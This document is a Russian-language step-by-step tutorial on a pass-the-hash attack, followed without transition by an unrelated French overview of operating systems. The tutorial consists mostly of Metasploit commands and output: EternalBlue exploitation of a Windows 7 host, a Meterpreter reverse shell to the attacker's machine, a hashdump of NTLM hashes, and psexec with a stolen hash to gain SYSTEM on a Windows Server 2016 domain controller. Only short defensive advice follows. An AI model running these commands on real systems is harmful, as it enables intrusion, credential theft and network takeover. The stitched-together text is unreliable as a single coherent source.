Атака Pass-the-Hash и получение системного доступа в Windows
В этом руководстве мы научились использовать хэши для аутентификации в системе на базе Windows и реализовали атаку pass-the-hash.
Пароли в Windows хранятся в виде хэшей и иногда могут быть устойчивы к взлому. Однако в некоторых ситуациях мы можем обойтись без пароля в чистом виде и использовать только хэш. Особенно интересны случаи, когда доступен хэш административной учетной записи, поскольку затем можно получить более высокие привилегии, реализовав атаку под названием pass-the-hash.
Вначале мы будем извлекать хэш в системе Windows 7 и далее перейдем к серверу Windows Server 2016. Пользователь, чей хэш мы будем получать, должен иметь административные привилегии и быть авторизованным на обеих машинах. В качестве рабочей среды будет использоваться Kali Linux.
Краткое описание атаки pass-the-hash
Для понимания техники pass-the-hash вначале следует разобраться, как устроен хэш. В Windows типичный хэш выглядит примерно так:
Строка выше состоит из четырех секций, разделенных двоеточиями. Первая часть – имя пользователя, вторая – относительный числовой идентификатор.
Третья часть представляет собой LM хэш, прекративший использоваться, начиная с Windows Vista/Server 2008. На данный момент вы навряд ли встретите где-либо подобный тип, если только в старых системах. В случае если вы столкнетесь с подобными ситуациями, считайте, что вам повезло, поскольку эти хэши легко взламываются.
Четвертая часть представляет собой NTLM хэш (иногда называемый NTHash). С обновленной версией, используемой в современных системах Windows и более устойчивой ко взломам, мы и будем работать во время реализации атаки pass-the-hash.
Наш сценарий основан на эксплуатации схемы хранения / передачи паролей и механизма аутентификации. Пароли не передаются по сети в открытом виде, а шифруются в момент создания.
Во время аутентификации пароль шифруется сразу же после ввода. Учитывая вышесказанное, можно заключить, что компьютер не видит разницы между паролем и хэшем, и мы можем во время аутентификации воспользоваться хэшем, вместо пароля в чистом виде.
Ситуация становится еще более интересной, когда мы знаем имя пользователя с административными правами и хэш.
Шаг 1: Получение хэша в целевой системе
Вначале нужно скомпрометировать первую цель. При реализации этого сценария мы имеем дело с обычной рабочей станцией на базе Windows 7. Метод можно использовать любой, но мы предполагаем, что система уязвима к эксплоиту EternalBlue.
Эксплуатацию уязвимости будем выполнять при помощи Metasploit. Приступаем:
Запускаем модуль «eternalblue». Для более подробного ознакомления с этим модулем, рекомендуют ознакомиться с руководством по эксплуатации EternalBlue на Windows-сервере .
msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.10.0.1:1234
[*] 10.10.0.104:445 — Connecting to target for exploitation.
[+] 10.10.0.104:445 — Connection established for exploitation.
[+] 10.10.0.104:445 — Target OS selected valid for OS indicated by SMB reply
[*] 10.10.0.104:445 — CORE raw buffer dump (42 bytes)
[*] 10.10.0.104:445 — 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.10.0.104:445 — 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.10.0.104:445 — 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.10.0.104:445 — Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.0.104:445 — Trying exploit with 12 Groom Allocations.
[*] 10.10.0.104:445 — Sending all but last fragment of exploit packet
[*] 10.10.0.104:445 — Starting non-paged pool grooming
[+] 10.10.0.104:445 — Sending SMBv2 buffers
[+] 10.10.0.104:445 — Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.0.104:445 — Sending final SMBv2 buffers.
[*] 10.10.0.104:445 — Sending last fragment of exploit packet!
[*] 10.10.0.104:445 — Receiving response from exploit packet
[+] 10.10.0.104:445 — ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.0.104:445 — Sending egg to corrupted connection.
[*] 10.10.0.104:445 — Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 10.10.0.104
[*] Meterpreter session 1 opened (10.10.0.1:1234 -> 10.10.0.104:49210) at 2019-04-08 10:29:38 -0500
[+] 10.10.0.104:445 — =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 — =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 — =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter >
В Meterpreter есть полезная команда hashdump, позволяющая выгрузить любые LM или NTLM хэши в целевой системе:
meterpreter > hashdump
admin2:1000:aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7.
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0.
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0.
По результатам выгрузки отмечаем, что у пользователя «admin2» скорее всего административные привилегии. Этот хэш мы будем использовать для подключения к другой машине.
Предположим, что другой компьютер также находится в сети, например, в роли сервера и, возможно, в качестве контроллера домена на базе Windows Server 2016. Если мы получим доступ к этой машине, то сможем получить контроль над всей сетью и любым компьютером домена.
Шаг 2: Реализация атаки Pass-the-Hash при помощи модуля PsExec
Полученный хэш привилегированного пользователя можно использовать для аутентификации на сервере Windows Server 2016 без знания пароля. Будем использовать модуль psexec (там же в Metasploit).
PsExec представляет собой утилиту, позволяющую работать из командной строки, для запуска программ и команд в удаленных системах. Этот инструмент полезен для администраторов, поскольку интегрирован с консольными приложениями и утилитами с целью удобного перенаправления входных и выходных данных. Однако здесь мы опять сталкиваемся с компромиссом между удобством и безопасность, поскольку PsExec может использоваться злоумышленниками для выполнения вредоносных команд или выступать в качестве бэкдора.
В Metasploit есть модифицированная версия PsExec, позволяющая легко подключаться к удаленным целям. Для поиска местонахождения этого модуля воспользуемся командой search:
msf5 > search psexec
# Name Disclosure Date Rank Check Description
1 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
2 auxiliary/admin/smb/psexec_command normal Yes Microsoft Windows Authenticated Administration Utility
3 auxiliary/admin/smb/psexec_ntdsgrab normal No PsExec NTDS.dit And SYSTEM Hive Download Utility
4 auxiliary/scanner/smb/impacket/dcomexec 2018-03-19 normal Yes DCOM Exec
5 auxiliary/scanner/smb/impacket/wmiexec 2018-03-19 normal Yes WMI Exec
6 auxiliary/scanner/smb/psexec_loggedin_users normal Yes Microsoft Windows Authenticated Logged In Users Enumeration
7 encoder/x86/service manual No Register Service
8 exploit/windows/local/current_user_psexec 1999-01-01 excellent No PsExec via Current User Token
9 exploit/windows/local/wmi 1999-01-01 excellent No Windows Management Instrumentation (WMI) Remote Command Execution
10 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
11 exploit/windows/smb/psexec 1999-01-01 manual No Microsoft Windows Authenticated User Code Execution
12 exploit/windows/smb/psexec_psh 1999-01-01 manual No Microsoft Windows Authenticated Powershell Command Execution
13 exploit/windows/smb/webexec 2018-10-24 manual No WebExec Authenticated User Code Execution
Psexec зарекомендовал себя неоднократно. Загружаем этот модуль при помощи команды use.
Смотрим текущие настройки, используя команду options:
msf5 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name Current Setting Required Description
—- ————— ——— ————
RHOSTS yes The target address range or CIDR identifier
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$. ) or a normal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Вначале нужно установить IP-адрес цели (то есть сервера, к которому мы хотим подключиться):
msf5 exploit(windows/smb/psexec) > set rhosts 10.10.0.100rhosts => 10.10.0.100
Затем мы можем указать имя пользователя и пароль, используя полученный ранее хэш вместо обычного пароля.
msf5 exploit(windows/smb/psexec) > set smbuser admin2 smbuser => admin2 msf5 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7 smbpass => aad3b435b51404eeaad3b435b51404ee:7178d3046e7ccfac0469f95588b6bdf7
Теперь указываем полезную нагрузку. Будем использоваться классический Reverse TCP из Meterpreter:
msf5 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp
Также указываем IP-адрес локальной машины и желаемый порт:
msf5 exploit(windows/smb/psexec) > set lhost 10.10.0.1 lhost => 10.10.0.1 msf5 exploit(windows/smb/psexec) > set lport 1234 lport => 1234
Остальные опции оставляем по умолчанию. Запускаем команду run:
msf5 exploit(windows/smb/psexec) > run [*] Started reverse TCP handler on 10.10.0.1:1234[*] 10.10.0.100:445 — Connecting to the server. [*] 10.10.0.100:445 — Authenticating to 10.10.0.100:445 as user ‘admin2’. [*] 10.10.0.100:445 — Selecting PowerShell target[*] 10.10.0.100:445 — Executing the payload. [*] Sending stage (206403 bytes) to 10.10.0.100[+] 10.10.0.100:445 — Service start timed out, OK if running a command or non-service executable. [*] Meterpreter session 2 opened (10.10.0.1:1234 -> 10.10.0.100:49864) at 2019-04-08 10:36:37 -0500 meterpreter >
У нас появилась meterpreter-сессия. Для подтверждения вводим команды getuid / sysinfo и получаем информацию о целевой системе.
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > sysinfo Computer : DC01OS : Windows 2016 (Build 14393).Architecture : x64System Language : en_USDomain : DLABLogged On Users : 4Meterpreter : x64/windows
Прекрасно. Без знания пароля нам удалось получить доступ к серверу. По сути, у нас полный контроль над системой.
В целом, довольно сложно защититься от подобного рода атак, поскольку мы используем стандартные механизмы аутентификации. Единственный надежный вариант – реализовать комплекс мероприятий для заблаговременного предотвращения неприятных последствий.
Также следование принципу минимальных привилегий сократит или даже исключит вероятный ущерб в случае, если злоумышленник получит хоть какой-то доступ к сети. Кроме того, нужно предпринимать и другие стандартные меры, как, например, фаервол и системы IDS/IPS для мониторинга и предотвращения любой вредоносной активности.
В Windows можно отключить кэширование учетных записей, чтобы злоумышленник не смог добраться до хэшей в памяти. Не лишним будет и изолировать важные системы в сети.
В этом руководстве мы научились использовать хэши для аутентификации в системе на базе Windows и реализовали атаку pass-the-hash. После компрометирования первоначальной цели, не очень высокого уровня, был получен список хэшей, среди которых оказалась учетная запись с административными правами. Далее при помощи Metasploit был получен системный доступ к серверу.
Système d’exploitation
Description du système d’exploitation
Pour qu’un ordinateur soit capable de faire fonctionner un programme informatique (appelé parfois application ou logiciel), la machine doit être en mesure d’effectuer un certain nombre d’opérations préparatoires afin d’assurer les échanges entre le processeur, la mémoire, et les ressources physiques (périphériques).
Le système d’exploitation (noté SE ou OS, abréviation du terme anglais Operating System), est chargé d’assurer la liaison entre les ressources matérielles, l’utilisateur et les applications (traitement de texte, jeu vidéo, . ). Ainsi lorsqu’un programme désire accéder à une ressource matérielle, il ne lui est pas nécessaire d’envoyer des informations spécifiques au périphérique, il lui suffit d’envoyer les informations au système d’exploitation, qui se charge de les transmettre au périphérique concerné via son pilote. En l’absence de pilotes il faudrait que chaque programme reconnaisse et prenne en compte la communication avec chaque type de périphérique !
Le système d’exploitation permet ainsi de «dissocier» les programmes et le matériel, afin notamment de simplifier la gestion des ressources et offrir à l’utilisateur une interface homme-machine (notée «IHM») simplifiée afin de lui permettre de s’affranchir de la complexité de la machine physique.
Rôles du système d’exploitation
Les rôles du système d’exploitation sont divers :
- Gestion du processeur : le système d’exploitation est chargé de gérer l’allocation du processeur entre les différents programmes grâce à un algorithme d’ordonnancement. Le type d’ordonnanceur est totalement dépendant du système d’exploitation, en fonction de l’objectif visé.
- Gestion de la mémoire vive : le système d’exploitation est chargé de gérer l’espace mémoire alloué à chaque application et, le cas échéant, à chaque usager. En cas d’insuffisance de mémoire physique, le système d’exploitation peut créer une zone mémoire sur le disque dur, appelée «mémoire virtuelle». La mémoire virtuelle permet de faire fonctionner des applications nécessitant plus de mémoire qu’il n’y a de mémoire vive disponible sur le système. En contrepartie cette mémoire est beaucoup plus lente.
- Gestion des entrées/sorties : le système d’exploitation permet d’unifier et de contrôler l’accès des programmes aux ressources matérielles par l’intermédiaire des pilotes (appelés également gestionnaires de périphériques ou gestionnaires d’entrée/sortie).
- Gestion de l’exécution des applications : le système d’exploitation est chargé de la bonne exécution des applications en leur affectant les ressources nécessaires à leur bon fonctionnement. Il permet à ce titre de «tuer» une application ne répondant plus correctement.
- Gestion des droits : le système d’exploitation est chargé de la sécurité liée à l’exécution des programmes en garantissant que les ressources ne sont utilisées que par les programmes et utilisateurs possédant les droits adéquats.
- Gestion des fichiers : le système d’exploitation gère la lecture et l’écriture dans le système de fichiers et les droits d’accès aux fichiers par les utilisateurs et les applications.
- Gestion des informations : le système d’exploitation fournit un certain nombre d’indicateurs permettant de diagnostiquer le bon fonctionnement de la machine.
Composantes du système d’exploitation
Le système d’exploitation est composé d’un ensemble de logiciels permettant de gérer les interactions avec le matériel. Parmi cet ensemble de logiciels on distingue généralement les éléments suivants :
- Le noyau (en anglais kernel) représentant les fonctions fondamentales du système d’exploitation telles que la gestion de la mémoire, des processus, des fichiers, des entrées-sorties principales, et des fonctionnalités de communication.
- L’interpréteur de commande (en anglais shell, traduisez «coquille» par opposition au noyau) permettant la communication avec le système d’exploitation par l’intermédiaire d’un langage de commandes, afin de permettre à l’utilisateur de piloter les périphériques en ignorant tout des caractéristiques du matériel qu’il utilise, de la gestion des adresses physiques, etc.
- Le système de fichiers (en anglais «file system», noté FS), permettant d’enregistrer les fichiers dans une arborescence.
Systèmes multitâches
Un système d’exploitation est dit «multi-tâche» (en anglais multithreaded) lorsque plusieurs «tâches» (également appelées processus) peuvent être exécutées simultanément.
Les applications sont composées en séquence d’instructions que l’on appelle «processus légers» (en anglais «threads»). Ces threads seront tour à tour actifs, en attente, suspendus ou détruits, suivant la priorité qui leur est associée ou bien exécutés séquentiellement.
Un système est dit préemptif lorsqu’il possède un ordonnanceur (aussi appelé planificateur), qui répartit, selon des critères de priorité, le temps machine entre les différents processus qui en font la demande.
Le système est dit à temps partagé lorsqu’un quota de temps est alloué à chaque processus par l’ordonnanceur. C’est notamment le cas des systèmes multi-utilisateurs qui permettent à plusieurs utilisateurs d’utiliser simultanément sur une même machine des applications différentes ou bien similaires : le système est alors dit «système transactionnel». Pour ce faire, le système alloue à chaque utilisateur une tranche de temps.
Systèmes multi-processeurs
Le multiprocessing est une technique consistant à faire fonctionner plusieurs processeurs en parallèle afin d’obtenir une puissance de calcul plus importante que celle obtenue avec un processeur haut de gamme ou bien afin d’augmenter la disponibilité du système (en cas de panne d’un processeur).
On appelle SMP (Symmetric Multiprocessing ou Symmetric Multiprocessor) une architecture dans laquelle tous les processeurs accèdent à un espace mémoire partagé.
Un système multiprocesseur doit donc être capable de gérer le partage de la mémoire entre plusieurs processeurs mais également de distribuer la charge de travail.
Systèmes embarqués
Les systèmes embarqués sont des systèmes d’exploitation prévus pour fonctionner sur des machines de petite taille, telles que des PDA (personal digital assistants ou en français assistants numériques personnels) ou des appareils électroniques autonomes (sondes spatiales, robot, ordinateur de bord de véhicule, etc.), possédant une autonomie réduite. Ainsi, une caractéristique essentielle des systèmes embarqués est leur gestion avancée de l’énergie et leur capacité à fonctionner avec des ressources limitées.
Les principaux systèmes embarqués «grand public» pour assistants numériques personnels sont :
- PalmOS
- Windows CE / Windows Mobile / Window Smartphone
Systèmes temps réel
Les systèmes temps réel (real time systems), essentiellement utilisés dans l’industrie, sont des systèmes dont l’objectif est de fonctionner dans un environnement contraint temporellement. Un système temps réel doit ainsi fonctionner de manière fiable selon des contraintes temporelles spécifiques, c’est-à-dire qu’il doit être capable de délivrer un traitement correct des informations reçues à des intervalles de temps bien définis (réguliers ou non).
Voici quelques exemples de systèmes d’exploitation temps réel :
- OS-9 ;
- RTLinux (RealTime Linux) ;
- QNX ;
- VxWorks.
Les types de systèmes d’exploitation
On distingue plusieurs types de systèmes d’exploitation, selon qu’ils sont capables de gérer simultanément des informations d’une longueur de 16 bits, 32 bits, 64 bits ou plus.